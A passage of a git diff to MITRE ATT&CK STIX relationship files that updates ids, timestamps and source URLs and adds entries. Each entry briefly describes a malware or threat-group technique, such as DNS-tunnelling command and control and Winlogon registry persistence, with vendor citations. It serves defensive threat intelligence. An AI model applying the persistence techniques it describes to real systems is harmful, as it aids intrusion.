+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used custom DNS Tunneling protocols for C2.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d.json b/enterprise-attack/relationship/relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d.json
index aabc90dbb1..ea7ef038d4 100644
--- a/enterprise-attack/relationship/relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d.json
+++ b/enterprise-attack/relationship/relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94ec3e89-1ab4-4e10-87f2-310f54c3186b",
+    "id": "bundle--a2b7f1bb-3031-4387-9485-f0eb452cafa4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can record audio using any existing hardware recording devices.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,12 +17,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03.json b/enterprise-attack/relationship/relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03.json
new file mode 100644
index 0000000000..ac2347102f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3227a204-b68a-4a6d-99e5-99bd76dce205",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by setting the value \u201cShell\u201d with \u201cexplorer.exe, %malware_pathfile%\u201d under the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--084ac639-2502-4020-8938-65352349acbb.json b/enterprise-attack/relationship/relationship--084ac639-2502-4020-8938-65352349acbb.json
new file mode 100644
index 0000000000..94f76d6242
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--084ac639-2502-4020-8938-65352349acbb.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--13c6e353-3f0f-40a3-bdff-10ffe9b57d1b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--084ac639-2502-4020-8938-65352349acbb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can list directories on a victim.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--087721ee-6643-4453-8a76-8768ced7e506.json b/enterprise-attack/relationship/relationship--087721ee-6643-4453-8a76-8768ced7e506.json
index 2c769c8827..cbc97bb27f 100644
--- a/enterprise-attack/relationship/relationship--087721ee-6643-4453-8a76-8768ced7e506.json
+++ b/enterprise-attack/relationship/relationship--087721ee-6643-4453-8a76-8768ced7e506.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc292e43-ca72-4a6d-a6f5-46d2357b4298",
+    "id": "bundle--3d4426cb-f1bc-4700-95e0-5e67e6ea9329",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea adds Registry Run keys to achieve persistence.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1.json b/enterprise-attack/relationship/relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1.json
new file mode 100644
index 0000000000..e076818458
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--43b92768-f0ff-477a-9473-6a30a71a8bf6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The BRONZE BUTLER uploader or malware the uploader uses <code>command</code> to delete the RAR archives after they have been exfiltrated.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a.json b/enterprise-attack/relationship/relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a.json
index 4008393730..75cf35341f 100644
--- a/enterprise-attack/relationship/relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a.json
+++ b/enterprise-attack/relationship/relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2cf60e09-1eb1-4531-9ab2-78513f0cc2fc",
+    "id": "bundle--48b42f14-97a7-4281-9b8c-cb6c415ed864",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--08d91d3c-b7c7-4cbc-a4eb-29edd3be3e3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
diff --git a/enterprise-attack/relationship/relationship--090813dc-b370-42e1-a211-4d9e3247968a.json b/enterprise-attack/relationship/relationship--090813dc-b370-42e1-a211-4d9e3247968a.json
index fe796ccd01..bd0e36e65f 100644
--- a/enterprise-attack/relationship/relationship--090813dc-b370-42e1-a211-4d9e3247968a.json
+++ b/enterprise-attack/relationship/relationship--090813dc-b370-42e1-a211-4d9e3247968a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fefcbe70-858f-49e2-9bc8-11adef918b31",
+    "id": "bundle--03b9a4ea-899f-4902-b1cf-533b8c58c63f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of FakeM use SSL to communicate with C2 servers.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68.json b/enterprise-attack/relationship/relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68.json
index 4863058bcb..fc4f219edb 100644
--- a/enterprise-attack/relationship/relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68.json
+++ b/enterprise-attack/relationship/relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa1f9651-551e-4dcf-8405-c1ad8ab70ace",
+    "id": "bundle--be00dc5a-6167-48d0-ad42-d3e7dc8dae64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can run Systeminfo to gather information about the victim.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--09266cb7-26b3-4959-bcff-a91e309b5588.json b/enterprise-attack/relationship/relationship--09266cb7-26b3-4959-bcff-a91e309b5588.json
new file mode 100644
index 0000000000..ea9e144d94
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--09266cb7-26b3-4959-bcff-a91e309b5588.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8b2e39c7-01f6-48d2-9dd6-eaa81a7389b9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth has used a scheduled task for persistence.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "ClearSky OilRig Jan 2017",
+                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
+                    "url": "http://www.clearskysec.com/oilrig/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c.json b/enterprise-attack/relationship/relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c.json
index 46cc4ac3de..c1bc61d687 100644
--- a/enterprise-attack/relationship/relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c.json
+++ b/enterprise-attack/relationship/relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1817040-d193-4053-a1cc-2147663051b9",
+    "id": "bundle--296bfd9b-f5f9-49ad-b3e7-b822252ab105",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
diff --git a/enterprise-attack/relationship/relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b.json b/enterprise-attack/relationship/relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b.json
index 58b7d0f5cd..ee6b4b8e7e 100644
--- a/enterprise-attack/relationship/relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b.json
+++ b/enterprise-attack/relationship/relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3f5b2692-52f5-4319-931c-21545a19d769",
+    "id": "bundle--aefb3a21-0b2a-4cbb-b03f-447def467b12",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used CVE-2014-6324 to escalate privileges.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--09c10778-19ad-441a-8a75-a3cf1288f960.json b/enterprise-attack/relationship/relationship--09c10778-19ad-441a-8a75-a3cf1288f960.json
index aabda735f7..212a5b096a 100644
--- a/enterprise-attack/relationship/relationship--09c10778-19ad-441a-8a75-a3cf1288f960.json
+++ b/enterprise-attack/relationship/relationship--09c10778-19ad-441a-8a75-a3cf1288f960.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--200a0140-b215-407f-ae63-ef92494f4494",
+    "id": "bundle--b72119f8-59ec-4a38-995a-43ef6128cc64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--09c10778-19ad-441a-8a75-a3cf1288f960",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net start</code> to display running services.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--09e8b282-61ee-4107-94f5-d03e28199fe9.json b/enterprise-attack/relationship/relationship--09e8b282-61ee-4107-94f5-d03e28199fe9.json
index a7ea57ebd3..37188c5a3d 100644
--- a/enterprise-attack/relationship/relationship--09e8b282-61ee-4107-94f5-d03e28199fe9.json
+++ b/enterprise-attack/relationship/relationship--09e8b282-61ee-4107-94f5-d03e28199fe9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bce3cb07-4d0a-4564-84bf-563e807caf80",
+    "id": "bundle--5ef708fe-8935-426d-bd0e-27a41537f213",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--09e8b282-61ee-4107-94f5-d03e28199fe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses ports 80, 443, and 8080 for C2.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--0a4e270a-5641-424d-a343-437ae9548125.json b/enterprise-attack/relationship/relationship--0a4e270a-5641-424d-a343-437ae9548125.json
index a2e8973800..b167e724d4 100644
--- a/enterprise-attack/relationship/relationship--0a4e270a-5641-424d-a343-437ae9548125.json
+++ b/enterprise-attack/relationship/relationship--0a4e270a-5641-424d-a343-437ae9548125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7efb0858-facd-466e-8c30-b743671e7e78",
+    "id": "bundle--7f8e9777-0f7e-41c9-9ab9-e59c9af34983",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0a4e270a-5641-424d-a343-437ae9548125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b",
             "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
diff --git a/enterprise-attack/relationship/relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8.json b/enterprise-attack/relationship/relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8.json
new file mode 100644
index 0000000000..29a5504881
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e8187045-7f0a-4dd8-a277-fece9660c4d9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used Registry Run keys to establish persistence.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0a65c303-52a6-4624-a8fb-fc7448429139.json b/enterprise-attack/relationship/relationship--0a65c303-52a6-4624-a8fb-fc7448429139.json
index f85e3b2b5c..9e45f0ef90 100644
--- a/enterprise-attack/relationship/relationship--0a65c303-52a6-4624-a8fb-fc7448429139.json
+++ b/enterprise-attack/relationship/relationship--0a65c303-52a6-4624-a8fb-fc7448429139.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--625eb9dc-e02e-4fcc-a1d5-f28a887f3d04",
+    "id": "bundle--0eb5ba99-3db2-43f6-9b5f-1d2389acda47",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0a65c303-52a6-4624-a8fb-fc7448429139",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti sets its DLL file as a new service in the Registry to establish persistence.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
diff --git a/enterprise-attack/relationship/relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b.json b/enterprise-attack/relationship/relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b.json
index f55b1fda1d..8d89260f68 100644
--- a/enterprise-attack/relationship/relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b.json
+++ b/enterprise-attack/relationship/relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--07bb5358-6cb4-4767-9f69-93da89494387",
+    "id": "bundle--982abd44-9213-4446-92b2-1a549b577562",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
diff --git a/enterprise-attack/relationship/relationship--0a8ee649-e907-4a73-8513-3019b2d771a0.json b/enterprise-attack/relationship/relationship--0a8ee649-e907-4a73-8513-3019b2d771a0.json
index 47d7daa996..b84917c45c 100644
--- a/enterprise-attack/relationship/relationship--0a8ee649-e907-4a73-8513-3019b2d771a0.json
+++ b/enterprise-attack/relationship/relationship--0a8ee649-e907-4a73-8513-3019b2d771a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b1b7d96-23d8-4c96-b554-8a546b65e0b0",
+    "id": "bundle--30d62aa5-41bc-41b1-971c-3416bf7b23b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0a8ee649-e907-4a73-8513-3019b2d771a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae.json b/enterprise-attack/relationship/relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae.json
index e7f08d813a..95e79c780c 100644
--- a/enterprise-attack/relationship/relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae.json
+++ b/enterprise-attack/relationship/relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99ccbeb4-658e-44f8-b42e-ce4b8b020457",
+    "id": "bundle--a4a9c8c0-3384-4ac4-8cba-ca17561804de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
             "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
diff --git a/enterprise-attack/relationship/relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab.json b/enterprise-attack/relationship/relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab.json
index 719a34ee6f..ce387f7080 100644
--- a/enterprise-attack/relationship/relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab.json
+++ b/enterprise-attack/relationship/relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4957141b-02e2-43f4-bece-3d86ac2a1b99",
+    "id": "bundle--f05b9cdd-2930-48ba-89fe-cf2359347295",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362",
             "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
diff --git a/enterprise-attack/relationship/relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732.json b/enterprise-attack/relationship/relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732.json
index 01eab3ad33..8f67566973 100644
--- a/enterprise-attack/relationship/relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732.json
+++ b/enterprise-attack/relationship/relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e0b238e7-2b8d-4a03-b8bb-ee88c20d692e",
+    "id": "bundle--3e6e1ebf-c852-4182-ad36-13a9cbe1de83",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
             "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
diff --git a/enterprise-attack/relationship/relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0.json b/enterprise-attack/relationship/relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0.json
index 603f36de08..f0d4b9a714 100644
--- a/enterprise-attack/relationship/relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0.json
+++ b/enterprise-attack/relationship/relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5f9819fc-37bb-467c-b971-54854212a375",
+    "id": "bundle--eff4bc1e-c817-4229-9d2e-6a44b44c9b8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
